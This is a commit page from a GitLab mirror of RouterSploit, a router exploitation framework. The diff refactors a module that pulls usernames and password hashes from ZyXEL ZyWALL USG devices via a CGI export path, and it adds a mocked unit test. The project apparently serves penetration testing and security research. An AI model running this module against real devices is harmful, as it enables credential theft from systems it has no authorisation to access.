Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
b0622a29
Unverified
Commit
b0622a29
authored
May 12, 2018
by
Marcin Bury
Committed by
GitHub
May 12, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing zywall_usg_extract_hashes and adding tests (#419)
parent
8800e62d
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
32 additions
and
15 deletions
+32
-15
zywall_usg_extract_hashes.py
...dules/exploits/routers/zyxel/zywall_usg_extract_hashes.py
+11
-15
test_zywall_usg_extract_hashes.py
.../exploits/routers/zyxel/test_zywall_usg_extract_hashes.py
+21
-0
No files found.
routersploit/modules/exploits/routers/zyxel/zywall_usg_extract_hashes.py
View file @
b0622a29
...
...
@@ -32,24 +32,14 @@ class Exploit(HTTPClient):
ssl
=
OptBool
(
"true"
,
"SSL enabled: true/false"
)
def
__init__
(
self
):
self
.
script_content
=
None
self
.
credentials
=
[]
def
run
(
self
):
self
.
credentials
=
[]
if
self
.
check
():
print_success
(
"Target appears to be vulnerable"
)
if
self
.
script_content
and
len
(
self
.
script_content
):
print_status
(
"Parsing the script ..."
)
creds
=
[]
for
line
in
self
.
script_content
.
split
(
"
\n
"
):
line
=
line
.
strip
()
m_groups
=
re
.
match
(
r'username (.*) password (.*) user-type (.*)'
,
line
,
re
.
I
|
re
.
M
)
if
m_groups
:
creds
.
append
((
m_groups
.
group
(
1
),
m_groups
.
group
(
2
),
m_groups
.
group
(
3
)))
print_table
((
'Username'
,
'Hash'
,
'User type'
),
*
creds
)
print_table
((
"Username"
,
"Hash"
,
"User type"
),
*
self
.
credentials
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
...
...
@@ -62,7 +52,13 @@ class Exploit(HTTPClient):
)
if
response
is
not
None
and
response
.
status_code
==
200
:
self
.
script_content
=
response
.
text
for
line
in
response
.
text
.
split
(
"
\n
"
):
line
=
line
.
strip
()
m_groups
=
re
.
match
(
r"username (.*) password (.*) user-type (.*)"
,
line
,
re
.
I
|
re
.
M
)
if
m_groups
:
self
.
credentials
.
append
((
m_groups
.
group
(
1
),
m_groups
.
group
(
2
),
m_groups
.
group
(
3
)))
if
self
.
credentials
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
tests/exploits/routers/zyxel/test_zywall_usg_extract_hashes.py
0 → 100644
View file @
b0622a29
from
routersploit.modules.exploits.routers.zyxel.zywall_usg_extract_hashes
import
Exploit
def
test_check_success
(
target
):
""" Test scenario - successful check """
route_mock
=
target
.
get_route_mock
(
"/cgi-bin/export-cgi/images/"
,
methods
=
[
"GET"
])
route_mock
.
return_value
=
(
"TEST
\n
"
"username TEST password TEST user-type TEST
\n
"
"TEST
\n
"
)
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
exploit
.
ssl
=
"false"
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment